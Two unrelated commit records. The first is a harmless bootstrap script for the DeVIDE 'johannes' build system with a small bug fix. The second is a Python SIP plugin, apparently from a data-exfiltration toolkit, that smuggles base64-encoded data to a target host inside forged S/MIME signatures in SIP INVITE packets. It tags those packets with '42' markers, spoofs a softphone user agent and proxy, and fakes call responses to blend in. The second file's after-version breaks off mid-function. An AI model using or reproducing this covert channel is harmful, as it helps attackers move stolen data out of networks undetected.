<commit_before># python script for bootstrapping the johannes DeVIDE build system
#
# NB:
# 1. on unix systems that don't have Python installed, you should rather
# use bootstrap_stage1.sh and bootstrap_stage2.sh, these are
# shell-based alternatives to bootstrap.py
# 2. on windows systems, you have no choice: you need to have a system
# python installed to run this bootstrap.py script.
# 3. johannes.py will be run by the python that is locally built by
# EITHER bootstrap.py OR bootstrap_stage{1,2}.sh

PYVER_STR = '2.7.1'

import config
import getopt
import os
import shutil
import stat
import sys
import utils
import glob

nt_python = """
@echo off
@rem script to run locally installed johannes python
@rem should be located in johannes wd\jpython.cmd
@rem as it assumes the local install of python is in
@rem wd\inst\python and it's in wd
%~dp0\inst\python\python.exe %1 %2 %3 %4 %5 %6 %7 %8 %9
"""

# I tried with a jython.sh script that sets up the environment and
# then runs the correct python, but even with exports, if that python
# process then restarted another python (with os.system) it would not
# get the modified environment (LD_LIBRARY_PATH), and would hence not
# be able to find its own libraries.
posix_python = """
#!/bin/sh
# script to setup environment for running local python
# this should be sourced before running python
# double-check with 'which python' that the locally installed
# version is running...
MYDIR=%s
export LD_LIBRARY_PATH=$MYDIR/python/lib
export PATH=$MYDIR/python/bin/:$PATH
"""

# script to test for presence of required libs on posix
posix_deps_test_c_file = """
#include <bzlib.h>
#include <sqlite3.h>
#include <ncurses.h>
#include <readline/readline.h>
#include <gtk/gtkversion.h>
#include <ft2build.h>
#include <png.h>
#include <zlib.h>
#include <X11/Intrinsic.h>
#include <GL/glu.h>
int main(void) {}
"""

def download_python():
    urlbase = 'http://python.org/ftp/python/%s' % (PYVER_STR,)
    if os.name == 'posix':
        fname = 'Python-%s.tar.bz2' % (PYVER_STR,)
        url = '%s/%s' % (urlbase, fname)
    elif os.name == 'nt':
        if config.WINARCH == '32bit':
            fname = 'python-%s.msi' % (PYVER_STR,)
            url = '%s/%s' % (urlbase, fname)
        else:
            fname = 'python-%s.amd64.msi' % (PYVER_STR,)
            url = '%s/%s' % (urlbase, fname)

	print "##### Bootstrapping with %s Python. #####" % (a,)

    utils.goto_archive()
    utils.urlget(url)

    return fname

def usage():
    message = """
Invoke with:
    python bootstrap.py -w working_directory
    """

    print message

def main():
    try:
        optlist, args = getopt.getopt(
                sys.argv[1:], 'w:',
                ['working-dir='])

    except getopt.GetoptError,e:
        usage()
        return

    working_dir = None

    print optlist
    for o, a in optlist:
        if o in ('-w', '--working-dir'):
            working_dir = a

    if not working_dir:
        usage()
        return

    # this will setup the necessary dirs for later calls into utils
    config.init(working_dir, None)

    # first create directory structure
    prepare_dirs(working_dir)

    # now download the python (source for linux, binaries for windows)
    python_fname = download_python()

    if os.name == 'nt':
        # this means we just have to unpack python
        py_msi_dir = os.path.join(config.archive_dir, python_fname)
        py_inst_dir = os.path.join(config.inst_dir, 'python')

        if os.path.exists(py_inst_dir):
            utils.output(
            'Python installation dir present.  Skipping install.')

        else:
            utils.output('Doing local installation of Python.')

            # run with basic interface
            # ret is 0 if successful
            ret = os.system(
                    'msiexec /a %s TARGETDIR=%s /qb' %
                    (py_msi_dir, py_inst_dir))

            if ret != 0:
                utils.error(
                        'Failed locally installing Python.  EFS / msiexec problems?')

        sxs_manifest_dest = os.path.join(
                py_inst_dir, 'Microsoft.VC90.CRT.manifest')
        if not os.path.exists(sxs_manifest_dest):
            utils.output(
                    'Copying Python MSVCRT 9.0 runtime libs.')

            # now copy the frikking VS2008 RTM (i.e. NOT SP1) from the system
            sr = os.environ.get('SYSTEMROOT')
            sxsd = os.path.join(sr, 'WinSxS')
            if config.WINARCH == '64bit':
                astr = 'amd64'
            else:
                astr = 'x86'

            mbase = '%s_Microsoft.VC90.CRT_1fc8b3b9a1e18e3b_'+ \
                    '9.0.21022.8_*'
            mbase = mbase % (astr,)

            mfn = os.path.join(
                    sxsd, 'Manifests',
                    '%s.manifest' % (mbase,))
            mfns = glob.glob(mfn)
            if len(mfns) == 0:
                utils.error('No manifest file found that matches %s' % mfn)
            if len(mfns) > 1:
                utils.error('Multiple manifest files found that match %s' % mfn)
            mfn = mfns[0]
            mbase = os.path.splitext(os.path.split(mfn)[-1])[0]

            # copy the manifest  file
            shutil.copy(
                    mfn, sxs_manifest_dest)

            # now copy the DLLs
            dllsd = os.path.join(sxsd, mbase)
            for dllfn in ['msvcm90.dll', 'msvcp90.dll',
                    'msvcr90.dll']:
                shutil.copy(os.path.join(
                    dllsd, dllfn), os.path.join(
                        py_inst_dir, dllfn))

        jpcmd = 'jpython.cmd'
        jpc_fn = os.path.join(config.working_dir, jpcmd)
        f = open(jpc_fn, 'w')
        f.write(nt_python)
        f.close()

        ilines = """
%s johannes.py -w %s
        """ % (jpc_fn, config.working_dir)

    else:
        if not posix_deps_test_c():
            print """
JOHANNES ##### cc (compiler) or necessary headers not found.
See error above.  Please fix and try again.

* See the johannes README.txt for more details on which packages to
  install, and also for correct apt-get invocation to install them all
  on for example Debian / Ubuntu.
            """
            return

        if not posix_test_cc():
            utils.output('c++ compiler not found.')
            return

        utils.goto_build()
        tbfn = os.path.join(config.archive_dir, python_fname)
        pybasename = 'Python-%s' % (PYVER_STR,)
        build_dir = os.path.join(config.build_dir, pybasename)

        if not os.path.exists(build_dir):
            utils.unpack(tbfn)

        os.chdir(build_dir)
        ret = os.system(
            './configure --enable-shared --prefix=%s/python' %
            (config.inst_dir,))

        if ret != 0:
            utils.error('Python configure error.')

        # config.MAKE contains -j setting
        # I've had this break with Python 2.6.2, so I'm using straight make here...
        ret = os.system('%s install' % ('make',))
        if ret != 0:
            utils.error('Python build error.')

        # this means we have to test for dependencies and then build
        # Python.
        sefn = 'jpython_setup_env.sh'

        jpcmd_fn = os.path.join(config.working_dir, sefn)
        f = open(jpcmd_fn, 'w')
        f.write(posix_python % (config.inst_dir,))
        f.close()

        # make it executable
        #os.chmod(jpcmd_fn, stat.S_IEXEC)

        ilines = """
source %s
which python
python johannes.py -w %s
        """ % (sefn, config.working_dir)

    print """
######################################################################
Successfully bootstrapped local johannes Python.  Start the full build
system with:
%s
    """ % (ilines,)

def posix_deps_test_c():
    utils.goto_build()
    f = open('dtest.c', 'w')
    f.write(posix_deps_test_c_file)
    f.close()

    ret = os.system(
'cc -I/usr/include/gtk-2.0 -I/usr/include/freetype2 -o dtest dtest.c')

    # True if successful
    return bool(ret == 0)

def posix_test_cc():
    utils.goto_build()
    f = open('cpptest.cc', 'w')
    f.write('int main(void) {}')
    f.close()

    ret = os.system('c++ -o cpptest cpptest.cc')

    # True if successful
    return bool(ret == 0)

def prepare_dirs(working_dir):
    a_dir = os.path.join(working_dir, 'archive')
    b_dir = os.path.join(working_dir, 'build')
    i_dir = os.path.join(working_dir, 'inst')

    for d in [working_dir, a_dir, b_dir, i_dir]:
        if not os.path.exists(d):
            os.mkdir(d)

if __name__ == '__main__':
    main()

<commit_msg>Fixed "'a' is not defined" bug for Windows bootstrap.<commit_after># python script for bootstrapping the johannes DeVIDE build system
#
# NB:
# 1. on unix systems that don't have Python installed, you should rather
# use bootstrap_stage1.sh and bootstrap_stage2.sh, these are
# shell-based alternatives to bootstrap.py
# 2. on windows systems, you have no choice: you need to have a system
# python installed to run this bootstrap.py script.
# 3. johannes.py will be run by the python that is locally built by
# EITHER bootstrap.py OR bootstrap_stage{1,2}.sh

PYVER_STR = '2.7.1'

import config
import getopt
import os
import shutil
import stat
import sys
import utils
import glob

nt_python = """
@echo off
@rem script to run locally installed johannes python
@rem should be located in johannes wd\jpython.cmd
@rem as it assumes the local install of python is in
@rem wd\inst\python and it's in wd
%~dp0\inst\python\python.exe %1 %2 %3 %4 %5 %6 %7 %8 %9
"""

# I tried with a jython.sh script that sets up the environment and
# then runs the correct python, but even with exports, if that python
# process then restarted another python (with os.system) it would not
# get the modified environment (LD_LIBRARY_PATH), and would hence not
# be able to find its own libraries.
posix_python = """
#!/bin/sh
# script to setup environment for running local python
# this should be sourced before running python
# double-check with 'which python' that the locally installed
# version is running...
MYDIR=%s
export LD_LIBRARY_PATH=$MYDIR/python/lib
export PATH=$MYDIR/python/bin/:$PATH
"""

# script to test for presence of required libs on posix
posix_deps_test_c_file = """
#include <bzlib.h>
#include <sqlite3.h>
#include <ncurses.h>
#include <readline/readline.h>
#include <gtk/gtkversion.h>
#include <ft2build.h>
#include <png.h>
#include <zlib.h>
#include <X11/Intrinsic.h>
#include <GL/glu.h>
int main(void) {}
"""

def download_python():
    urlbase = 'http://python.org/ftp/python/%s' % (PYVER_STR,)
    if os.name == 'posix':
        fname = 'Python-%s.tar.bz2' % (PYVER_STR,)
        url = '%s/%s' % (urlbase, fname)
    elif os.name == 'nt':
        if config.WINARCH == '32bit':
            fname = 'python-%s.msi' % (PYVER_STR,)
            url = '%s/%s' % (urlbase, fname)
        else:
            fname = 'python-%s.amd64.msi' % (PYVER_STR,)
            url = '%s/%s' % (urlbase, fname)

        print "##### Bootstrapping with %s Python. #####" % (config.WINARCH,)

    utils.goto_archive()
    utils.urlget(url)

    return fname

def usage():
    message = """
Invoke with:
    python bootstrap.py -w working_directory
    """

    print message

def main():
    try:
        optlist, args = getopt.getopt(
                sys.argv[1:], 'w:',
                ['working-dir='])

    except getopt.GetoptError,e:
        usage()
        return

    working_dir = None

    print optlist
    for o, a in optlist:
        if o in ('-w', '--working-dir'):
            working_dir = a

    if not working_dir:
        usage()
        return

    # this will setup the necessary dirs for later calls into utils
    config.init(working_dir, None)

    # first create directory structure
    prepare_dirs(working_dir)

    # now download the python (source for linux, binaries for windows)
    python_fname = download_python()

    if os.name == 'nt':
        # this means we just have to unpack python
        py_msi_dir = os.path.join(config.archive_dir, python_fname)
        py_inst_dir = os.path.join(config.inst_dir, 'python')

        if os.path.exists(py_inst_dir):
            utils.output(
            'Python installation dir present.  Skipping install.')

        else:
            utils.output('Doing local installation of Python.')

            # run with basic interface
            # ret is 0 if successful
            ret = os.system(
                    'msiexec /a %s TARGETDIR=%s /qb' %
                    (py_msi_dir, py_inst_dir))

            if ret != 0:
                utils.error(
                        'Failed locally installing Python.  EFS / msiexec problems?')

        sxs_manifest_dest = os.path.join(
                py_inst_dir, 'Microsoft.VC90.CRT.manifest')
        if not os.path.exists(sxs_manifest_dest):
            utils.output(
                    'Copying Python MSVCRT 9.0 runtime libs.')

            # now copy the frikking VS2008 RTM (i.e. NOT SP1) from the system
            sr = os.environ.get('SYSTEMROOT')
            sxsd = os.path.join(sr, 'WinSxS')
            if config.WINARCH == '64bit':
                astr = 'amd64'
            else:
                astr = 'x86'

            mbase = '%s_Microsoft.VC90.CRT_1fc8b3b9a1e18e3b_'+ \
                    '9.0.21022.8_*'
            mbase = mbase % (astr,)

            mfn = os.path.join(
                    sxsd, 'Manifests',
                    '%s.manifest' % (mbase,))
            mfns = glob.glob(mfn)
            if len(mfns) == 0:
                utils.error('No manifest file found that matches %s' % mfn)
            if len(mfns) > 1:
                utils.error('Multiple manifest files found that match %s' % mfn)
            mfn = mfns[0]
            mbase = os.path.splitext(os.path.split(mfn)[-1])[0]

            # copy the manifest  file
            shutil.copy(
                    mfn, sxs_manifest_dest)

            # now copy the DLLs
            dllsd = os.path.join(sxsd, mbase)
            for dllfn in ['msvcm90.dll', 'msvcp90.dll',
                    'msvcr90.dll']:
                shutil.copy(os.path.join(
                    dllsd, dllfn), os.path.join(
                        py_inst_dir, dllfn))

        jpcmd = 'jpython.cmd'
        jpc_fn = os.path.join(config.working_dir, jpcmd)
        f = open(jpc_fn, 'w')
        f.write(nt_python)
        f.close()

        ilines = """
%s johannes.py -w %s
        """ % (jpc_fn, config.working_dir)

    else:
        if not posix_deps_test_c():
            print """
JOHANNES ##### cc (compiler) or necessary headers not found.
See error above.  Please fix and try again.

* See the johannes README.txt for more details on which packages to
  install, and also for correct apt-get invocation to install them all
  on for example Debian / Ubuntu.
            """
            return

        if not posix_test_cc():
            utils.output('c++ compiler not found.')
            return

        utils.goto_build()
        tbfn = os.path.join(config.archive_dir, python_fname)
        pybasename = 'Python-%s' % (PYVER_STR,)
        build_dir = os.path.join(config.build_dir, pybasename)

        if not os.path.exists(build_dir):
            utils.unpack(tbfn)

        os.chdir(build_dir)
        ret = os.system(
            './configure --enable-shared --prefix=%s/python' %
            (config.inst_dir,))

        if ret != 0:
            utils.error('Python configure error.')

        # config.MAKE contains -j setting
        # I've had this break with Python 2.6.2, so I'm using straight make here...
        ret = os.system('%s install' % ('make',))
        if ret != 0:
            utils.error('Python build error.')

        # this means we have to test for dependencies and then build
        # Python.
        sefn = 'jpython_setup_env.sh'

        jpcmd_fn = os.path.join(config.working_dir, sefn)
        f = open(jpcmd_fn, 'w')
        f.write(posix_python % (config.inst_dir,))
        f.close()

        # make it executable
        #os.chmod(jpcmd_fn, stat.S_IEXEC)

        ilines = """
source %s
which python
python johannes.py -w %s
        """ % (sefn, config.working_dir)

    print """
######################################################################
Successfully bootstrapped local johannes Python.  Start the full build
system with:
%s
    """ % (ilines,)

def posix_deps_test_c():
    utils.goto_build()
    f = open('dtest.c', 'w')
    f.write(posix_deps_test_c_file)
    f.close()

    ret = os.system(
'cc -I/usr/include/gtk-2.0 -I/usr/include/freetype2 -o dtest dtest.c')

    # True if successful
    return bool(ret == 0)

def posix_test_cc():
    utils.goto_build()
    f = open('cpptest.cc', 'w')
    f.write('int main(void) {}')
    f.close()

    ret = os.system('c++ -o cpptest cpptest.cc')

    # True if successful
    return bool(ret == 0)

def prepare_dirs(working_dir):
    a_dir = os.path.join(working_dir, 'archive')
    b_dir = os.path.join(working_dir, 'build')
    i_dir = os.path.join(working_dir, 'inst')

    for d in [working_dir, a_dir, b_dir, i_dir]:
        if not os.path.exists(d):
            os.mkdir(d)

if __name__ == '__main__':
    main()

<|endoftext|>


<commit_before>#!/usr/bin/env python

#inspired from: https://books.google.fr/books?id=cHOmCwAAQBAJ&pg=PA747&lpg=PA747&dq=sdp+smime&source=bl&ots=34LYW5iJyc&sig=4a1szVXKMDtqQWUb0K2gM29AgL8&hl=fr&sa=X&ved=0ahUKEwjbm5Tf1JzTAhUGfxoKHX-UCQUQ6AEIVTAG#v=onepage&q=sdp%20smime&f=false

from dpkt import sip
import socket
import string
import random
import base64
import re
import traceback

config = None
app_exfiltrate = None

#Ideally replace with real employee names
names = ('alice', 'bob', 'eve', 'kim', 'lorrie', 'ben')
caller, callee = random.sample(names, 2)

#proxy  = "freephonie.net" #Might as well be internal PBX
#domain = 'e.corp'

class UserAgent:

    def __init__(self, alias, ip, port=None, user_agent=None):
        self.alias = alias
        self.ip = ip
        self.port = port
        self.user_agent = 'Linphone/3.6.1 (eXosip2/4.1.0)'
        self.tag = ''.join(random.sample(string.digits, 10))

class SIPDialog:

    def __init__(self, uac=None, uas=None, proxy=None):
        self.call_id = ''.join(random.sample(string.digits,  8))
        self.uac = uac
        self.uas = uas
        self.branch = 'z9hG4bK' + ''.join(random.sample(string.digits, 10))
        self.proxy = proxy
        self.subject = "Phone call"

    def init_from_request(self, req):
        self.call_id = req.headers['call-id']
        parser = re.compile('<sip:(.*)@(.*)>;tag=(.*)')
        [(s_alias, s_ip, tag)] = re.findall(parser, req.headers['from'])
        parser = re.compile('SIP\/2\.0\/UDP (.*):(\d*)(?:\;rport.*)?\;branch=(.*)')
        [(proxy, s_port, branch)] = re.findall(parser, req.headers['via'])
        parser = re.compile('<sip:(.*)@(.*)>')
        [(c_alias, c_ip)] = re.findall(parser, req.headers['to'])
        user_agent = req.headers['user-agent']

        self.tag = tag
        self.branch = branch
        self.uac = UserAgent(c_alias, c_ip)
        self.uas = UserAgent(s_alias, s_ip, port=s_port, user_agent=user_agent)
        self.proxy = proxy

    def invite(self, uac, uas, payload):
        #Call-ID magic identifier
        self.call_id = self.call_id[:3] + "42" + self.call_id[5:]
        #Branch magic identifier
        self.branch = self.branch[:11] + "42" + self.branch[13:]
        self.uac = uac
        self.uas = uas
        self.proxy = self.proxy or '127.0.0.1' #keep calm & blame misconfiguration
        packet = sip.Request()
        #forge headers
        packet.uri = 'sip:' + self.uas.alias + '@'+ self.uas.ip
        packet.headers['Via'] = 'SIP/2.0/UDP {}:{};branch={}'.format(self.proxy, self.uac.port, self.branch)
        packet.headers['Max-Forwards'] = 70
        packet.headers['CSeq'] = '20 ' + packet.method
        packet.headers['From'] = '{} <sip:{}@{}>;tag={}'.format(self.uac.alias.capitalize(), self.uac.alias, self.uac.ip, self.uac.tag)
        packet.headers['To'] = '{} <sip:{}@{}>'.format(self.uas.alias.capitalize(), self.uas.alias, self.uas.ip)
        packet.headers['Contact'] = '<sip:{}@{}>'.format(self.uac.alias, self.uac.ip)
        packet.headers['Call-ID'] = self.call_id
        packet.headers['User-Agent'] = self.uac.user_agent
        packet.headers['Subject'] = self.subject
        packet.headers['Content-Type'] = 'application/sdp'
        packet.headers['Allow'] = 'INVITE, ACK, CANCEL, OPTIONS, BYE, REFER, NOTIFY, MESSAGE, SUBSCRIBE, INFO'
        #forge the sdp message
        sdp_content =  "v=0\r\n"
        sdp_content += "o=" + self.uac.alias + " 99 939 IN IP4 " + self.uac.ip + "\r\n"
        sdp_content += "s=Talk\r\n"
        sdp_content += "c=IN IP4 " + self.uac.ip + "\r\n"
        sdp_content += "t=0 0\r\n"
        sdp_content += "m=audio 7078 RTP/AVP 124 111 110 0 8 101\r\n"
        sdp_content += "a=rtpmap:124 opus/48000\r\n"
        sdp_content += "a=fmtp:124 useinbandfec=1; usedtx=1\r\n"
        sdp_content += "a=rtpmap:111 speex/16000\r\n"
        sdp_content += "a=fmtp:111 vbr=on\r\n"
        sdp_content += "a=rtpmap:110 speex/8000\r\n"
        sdp_content += "a=fmtp:110 vbr=on\r\n"
        sdp_content += "a=rtpmap:101 telephone-event/8000\r\n"
        sdp_content += "a=fmtp:101 0-11\r\n"
        sdp_content += "m=video 9078 RTP/AVP 103 99\r\n"
        sdp_content += "a=rtpmap:103 VP8/90000\r\n"
        sdp_content += "a=rtpmap:99 MP4V-ES/90000\r\n"
        sdp_content += "a=fmtp:99 profile-level-id=3\r\n"
        #forge sdp header
        sdp_hdr = "Content-Type: message/sip\r\n"
        sdp_hdr += "Content-Length: " + str(len(sdp_content)) + '\r\n'
        sdp_hdr += "INVITE sip:{}@{} SIP/2.0".format(self.uas.alias, self.uas.ip)
        sdp_hdr += packet.pack_hdr()
        sdp_hdr += "\r\n"
        #forge the false signature
        sig = 'Content-Type: application/x-pkcs7-signature; name="smime.p7s"\r\n'
        sig += 'Content-Transfer-Encoding: base64\r\n'
        sig += 'Content-Disposition: attachment; filename="smime.p7s"; handling=required\r\n'
        sig += base64.b64encode(payload)
        #forge sip body
        boundary = ''.join(random.sample(string.digits + string.ascii_letters, 20))
        packet.body = '--' + boundary + '\r\n'
        packet.body += sdp_hdr
        packet.body += sdp_content + '\r\n'
        packet.body += '--' + boundary + '\r\n'
        packet.body += sig + '\r\n'
        packet.body += '--' + boundary + '--'
        #replace sip header content-type with multipart/signed
        packet.headers['Content-Type'] = 'multipart/signed; protocol="application/x-pkcs7-signature"; micalg=sha1; boundary=' + boundary
        #Update Content-Length
        packet.headers['Content-Length'] = str(len(packet.body))

        return packet

    def trying(self, invite):
        packet = sip.Response()
        packet.status = '100'
        packet.reason = 'Trying'
        packet.headers['Via'] = invite.headers['via']
        packet.headers['From'] = invite.headers['from']
        packet.headers['To'] = invite.headers['to']
        packet.headers['Call-ID'] = invite.headers['call-id']
        packet.headers['CSeq'] = invite.headers['cseq']
        packet.headers['User-Agent'] = self.uac.user_agent
        packet.headers['Content-Length'] = '0'

        return packet

    def ringing(self, invite):
        packet = sip.Response()
        packet.status = '180'
        packet.reason = 'Ringing'
        packet.headers['Via'] = invite.headers['via']
        packet.headers['From'] = invite.headers['from']
        packet.headers['To'] = invite.headers['to'] + ';tag={}'.format(self.uac.tag)
        packet.headers['Call-ID'] = invite.headers['call-id']
        packet.headers['CSeq'] = invite.headers['cseq']
        packet.headers['Contact'] = '<sip:{}@{}>'.format(self.uac.alias, self.uac.ip)
        packet.headers['User-Agent'] = self.uac.user_agent
        packet.headers['Content-Length'] = '0'

        return packet

    def decline(self, invite):
        packet = sip.Response()
        packet.status = '603'
        packet.reason = 'Decline'
        packet.headers['From'] = invite.headers['from']
        packet.headers['To'] = invite.headers['to'] + ';tag={}'.format(self.uac.tag)
        packet.headers['Call-ID'] = invite.headers['call-id']
        packet.headers['CSeq'] = invite.headers['cseq']
        packet.headers['User-Agent'] = self.uac.user_agent
        packet.headers['Content-Length'] = '0'

        return packet

    def ack(self, message):
        packet = sip.Request()
        packet.method = 'ACK'
        packet.uri = 'sip:{}@{}'.format(self.uas.alias, self.uas.ip)
        packet.headers['Via'] = message.headers['via']
        packet.headers['From'] = message.headers['from']
        packet.headers['To'] = message.headers['to']
        packet.headers['Call-ID'] = message.headers['call-id']
        packet.headers['CSeq'] = '20 ACK'
        packet.headers['Content-Length'] = '0'

        return packet

def listen():
    port = config['port']
    lsock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    ssock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    lsock.bind(('', port))
    while True:
        data, addr = lsock.recvfrom(65535)
        try:
            req = sip.Request()
            req.unpack(data)
            if req.method == 'INVITE':
                dialog = SIPDialog()
                dialog.init_from_request(req)
                #Simulate legit softphone responses
                trying = dialog.trying(req)
                ssock.sendto(trying.pack(), (addr[0], int(dialog.uas.port)))
                ringing = dialog.ringing(req)
                ssock.sendto(ringing.pack(), (addr[0], int(dialog.uas.port)))
                decline = dialog.decline(req)
                ssock.sendto(decline.pack(), (addr[0], int(dialog.uas.port)))
                #Check if the request is part of exfiltration job
                if dialog.branch[11:13] == "42" and dialog.call_id[3:5] == "42":
                    parser = re.compile('boundary=(.*)')
                    [boundary] = re.findall(parser, req.headers['content-type'])
                    #Hackish payload isolation
                    payload = req.body.split('--'+boundary)[-2].split('\r\n')[-2]
                    app_exfiltrate.retrieve_data(base64.b64decode(payload))
        except Exception as e:
            print traceback.format_exc()
            print 'exception: ' + repr(e)
            pass

def send(data):
    target = config['target']
    port = config['port']
    lsock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    ssock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    dialog = SIPDialog()
    laddr = socket.gethostbyname(socket.getfqdn())
    uac = UserAgent(caller, laddr, port=port)
    uas = UserAgent(callee, target, port=port)
    invite = dialog.invite(uac, uas, data)
    lsock.bind(('', port))
    ssock.sendto(invite.pack(), (target, port))
    while True:
        try:
            recv_data, addr = lsock.recvfrom(65535)
            response = sip.Response()
            response.unpack(recv_data)
            if response.reason == 'Decline':
                ack = dialog.ack(response)
                ssock.sendto(ack.pack(), (target, port))
                ssock.close()
                lsock.close()
                break
            else:
                continue
        except:
            pass
        break

def zombie():
    pass

class Plugin:

    def __init__(self, app, conf):
        global app_exfiltrate, config
        app_exfiltrate = app
        config = conf
        app.register_plugin('sip', {'send': send, 'listen': listen, 'zombie': zombie})
<commit_msg>Fix network issues in SIP plugin<commit_after>#!/usr/bin/env python

#inspired from: https://books.google.fr/books?id=cHOmCwAAQBAJ&pg=PA747&lpg=PA747&dq=sdp+smime&source=bl&ots=34LYW5iJyc&sig=4a1szVXKMDtqQWUb0K2gM29AgL8&hl=fr&sa=X&ved=0ahUKEwjbm5Tf1JzTAhUGfxoKHX-UCQUQ6AEIVTAG#v=onepage&q=sdp%20smime&f=false

from dpkt import sip
import socket
import string
import random
import base64
import re
import traceback

config = None
app_exfiltrate = None

#Ideally replace with real employee names
names = ('alice', 'bob', 'eve', 'kim', 'lorrie', 'ben')
caller, callee = random.sample(names, 2)

#proxy  = "freephonie.net" #Might as well be internal PBX
#domain = 'e.corp'

class UserAgent:

    def __init__(self, alias, ip, port=None, user_agent=None):
        self.alias = alias
        self.ip = ip
        self.port = port
        self.user_agent = 'Linphone/3.6.1 (eXosip2/4.1.0)'
        self.tag = ''.join(random.sample(string.digits, 10))

class SIPDialog:

    def __init__(self, uac=None, uas=None, proxy=None):
        self.call_id = ''.join(random.sample(string.digits,  8))
        self.uac = uac
        self.uas = uas
        self.branch = 'z9hG4bK' + ''.join(random.sample(string.digits, 10))
        self.proxy = proxy
        self.subject = "Phone call"

    def init_from_request(self, req):
        self.call_id = req.headers['call-id']
        parser = re.compile('<sip:(.*)@(.*)>;tag=(.*)')
        [(s_alias, s_ip, tag)] = re.findall(parser, req.headers['from'])
        parser = re.compile('SIP\/2\.0\/UDP (.*):(\d*)(?:\;rport.*)?\;branch=(.*)')
        [(proxy, s_port, branch)] = re.findall(parser, req.headers['via'])
        parser = re.compile('<sip:(.*)@(.*)>')
        [(c_alias, c_ip)] = re.findall(parser, req.headers['to'])
        user_agent = req.headers['user-agent']

        self.tag = tag
        self.branch = branch
        self.uac = UserAgent(c_alias, c_ip)
        self.uas = UserAgent(s_alias, s_ip, port=s_port, user_agent=user_agent)
        self.proxy = proxy

    def invite(self, uac, uas, payload):
        #Call-ID magic identifier
        self.call_id = self.call_id[:3] + "42" + self.call_id[5:]
        #Branch magic identifier
        self.branch = self.branch[:11] + "42" + self.branch[13:]
        self.uac = uac
        self.uas = uas
        self.proxy = self.proxy or '127.0.0.1' #keep calm & blame misconfiguration
        packet = sip.Request()
        #forge headers
        packet.uri = 'sip:' + self.uas.alias + '@'+ self.uas.ip
        packet.headers['Via'] = 'SIP/2.0/UDP {}:{};branch={}'.format(self.proxy, self.uac.port, self.branch)
        packet.headers['Max-Forwards'] = 70
        packet.headers['CSeq'] = '20 ' + packet.method
        packet.headers['From'] = '{} <sip:{}@{}>;tag={}'.format(self.uac.alias.capitalize(), self.uac.alias, self.uac.ip, self.uac.tag)
        packet.headers['To'] = '{} <sip:{}@{}>'.format(self.uas.alias.capitalize(), self.uas.alias, self.uas.ip)
        packet.headers['Contact'] = '<sip:{}@{}>'.format(self.uac.alias, self.uac.ip)
        packet.headers['Call-ID'] = self.call_id
        packet.headers['User-Agent'] = self.uac.user_agent
        packet.headers['Subject'] = self.subject
        packet.headers['Content-Type'] = 'application/sdp'
        packet.headers['Allow'] = 'INVITE, ACK, CANCEL, OPTIONS, BYE, REFER, NOTIFY, MESSAGE, SUBSCRIBE, INFO'
        #forge the sdp message
        sdp_content =  "v=0\r\n"
        sdp_content += "o=" + self.uac.alias + " 99 939 IN IP4 " + self.uac.ip + "\r\n"
        sdp_content += "s=Talk\r\n"
        sdp_content += "c=IN IP4 " + self.uac.ip + "\r\n"
        sdp_content += "t=0 0\r\n"
        sdp_content += "m=audio 7078 RTP/AVP 124 111 110 0 8 101\r\n"
        sdp_content += "a=rtpmap:124 opus/48000\r\n"
        sdp_content += "a=fmtp:124 useinbandfec=1; usedtx=1\r\n"
        sdp_content += "a=rtpmap:111 speex/16000\r\n"
        sdp_content += "a=fmtp:111 vbr=on\r\n"
        sdp_content += "a=rtpmap:110 speex/8000\r\n"
        sdp_content += "a=fmtp:110 vbr=on\r\n"
        sdp_content += "a=rtpmap:101 telephone-event/8000\r\n"
        sdp_content += "a=fmtp:101 0-11\r\n"
        sdp_content += "m=video 9078 RTP/AVP 103 99\r\n"
        sdp_content += "a=rtpmap:103 VP8/90000\r\n"
        sdp_content += "a=rtpmap:99 MP4V-ES/90000\r\n"
        sdp_content += "a=fmtp:99 profile-level-id=3\r\n"
        #forge sdp header
        sdp_hdr = "Content-Type: message/sip\r\n"
        sdp_hdr += "Content-Length: " + str(len(sdp_content)) + '\r\n'
        sdp_hdr += "INVITE sip:{}@{} SIP/2.0".format(self.uas.alias, self.uas.ip)
        sdp_hdr += packet.pack_hdr()
        sdp_hdr += "\r\n"
        #forge the false signature
        sig = 'Content-Type: application/x-pkcs7-signature; name="smime.p7s"\r\n'
        sig += 'Content-Transfer-Encoding: base64\r\n'
        sig += 'Content-Disposition: attachment; filename="smime.p7s"; handling=required\r\n'
        sig += base64.b64encode(payload)
        #forge sip body
        boundary = ''.join(random.sample(string.digits + string.ascii_letters, 20))
        packet.body = '--' + boundary + '\r\n'
        packet.body += sdp_hdr
        packet.body += sdp_content + '\r\n'
        packet.body += '--' + boundary + '\r\n'
        packet.body += sig + '\r\n'
        packet.body += '--' + boundary + '--'
        #replace sip header content-type with multipart/signed
        packet.headers['Content-Type'] = 'multipart/signed; protocol="application/x-pkcs7-signature"; micalg=sha1; boundary=' + boundary
        #Update Content-Length
        packet.headers['Content-Length'] = str(len(packet.body))

        return packet

    def trying(self, invite):
        packet = sip.Response()
        packet.status = '100'
        packet.reason = 'Trying'
        packet.headers['Via'] = invite.headers['via']
        packet.headers['From'] = invite.headers['from']
        packet.headers['To'] = invite.headers['to']
        packet.headers['Call-ID'] = invite.headers['call-id']
        packet.headers['CSeq'] = invite.headers['cseq']
        packet.headers['User-Agent'] = self.uac.user_agent
        packet.headers['Content-Length'] = '0'

        return packet

    def ringing(self, invite):
        packet = sip.Response()
        packet.status = '180'
        packet.reason = 'Ringing'
        packet.headers['Via'] = invite.headers['via']
        packet.headers['From'] = invite.headers['from']
        packet.headers['To'] = invite.headers['to'] + ';tag={}'.format(self.uac.tag)
        packet.headers['Call-ID'] = invite.headers['call-id']
        packet.headers['CSeq'] = invite.headers['cseq']
        packet.headers['Contact'] = '<sip:{}@{}>'.format(self.uac.alias, self.uac.ip)
        packet.headers['User-Agent'] = self.uac.user_agent
        packet.headers['Content-Length'] = '0'

        return packet

    def decline(self, invite):
        packet = sip.Response()
        packet.status = '603'
        packet.reason = 'Decline'
        packet.headers['From'] = invite.headers['from']
        packet.headers['To'] = invite.headers['to'] + ';tag={}'.format(self.uac.tag)
        packet.headers['Call-ID'] = invite.headers['call-id']
        packet.headers['CSeq'] = invite.headers['cseq']
        packet.headers['User-Agent'] = self.uac.user_agent
        packet.headers['Content-Length'] = '0'

        return packet

    def ack(self, message):
        packet = sip.Request()
        packet.method = 'ACK'
